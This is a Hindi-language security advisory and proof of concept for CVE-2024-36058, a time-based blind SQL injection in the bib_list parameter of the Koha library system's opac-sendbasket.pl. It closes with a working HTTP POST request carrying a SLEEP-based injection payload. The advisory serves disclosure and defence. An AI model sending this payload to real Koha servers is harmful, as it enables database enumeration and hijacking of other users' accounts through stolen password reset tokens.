
# CVE-2024-36058 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और एडवाइजरी यह Koha लाइब्रेरी सॉफ्टवेयर के opac-sendbasket.pl में एक समय-आधारित ब्लाइंड SQL इंजेक्शन है, जो प्रमाणित डेटाबेस एन्यूमरेशन को सक्षम बनाता है।
CVE ID: CVE-2024-36058
उत्पाद: Koha लाइब्रेरी सॉफ़्टवेयर
भेद्यता प्रकार: टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन (CWE-89)
CVSS स्कोर: 9.8 (गंभीर)
प्रभावित संस्करण: 23.05.10 से नीचे
श्रेय: Karolis Narvilas
Koha एक ओपन-सोर्स एकीकृत लाइब्रेरी सिस्टम है। opac/opac-sendbasket.pl पर "Send Basket" कार्यक्षमता में एक टाइम-बेस्ड ब्लाइंड SQL इंजेक्शन भेद्यता मौजूद है। bib_list पैरामीटर बिना सैनिटाइज़ किए सीधे एक SQL क्वेरी में पास किया जाता है, जिससे एक हमलावर मनमाने SQL पेलोड इंजेक्ट कर सकता है जो सर्वर की प्रतिक्रिया में मापने योग्य देरी उत्पन्न करते हैं।
एक सामान्य (कम-विशेषाधिकार वाला) लाइब्रेरी उपयोगकर्ता बिना किसी उन्नत अनुमति के इस भेद्यता का शोषण कर सकता है। प्रतिक्रिया समय में अंतर का लाभ उठाकर, एक हमलावर डेटाबेस की गणना कर सकता है और उन सामग्रियों को पुनः प्राप्त कर सकता है जो विशेषाधिकार प्राप्त पहुँच तक सीमित होनी चाहिए।
प्रभाव: एक रिमोट प्रमाणित हमलावर CVE-2024-36058 का शोषण करके संवेदनशील डेटाबेस सामग्री की गणना कर सकता है, जिसमें पासवर्ड रीसेट प्रवाह का शोषण करना और अन्य उपयोगकर्ता खातों के लिए पासवर्ड रीसेट टोकन प्राप्त करना शामिल है, जिससे उनका अपहरण किया जा सकता है, जिसके परिणामस्वरूप अनधिकृत पहुँच और संभावित डेटा एक्सपोज़र हो सकता है।

bib_list पैरामीटर में पेलोड इंजेक्ट करें:अनुरोध:
POST /cgi-bin/koha/opac-sendbasket.pl HTTP/1.1
Host: {domain}
Cookie: [Low Privilege Session]
-- SNIP --
email_add=<recipient>&comment=x&bib_list=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(36)))x)--+-&csrf_token=<csrf_token>
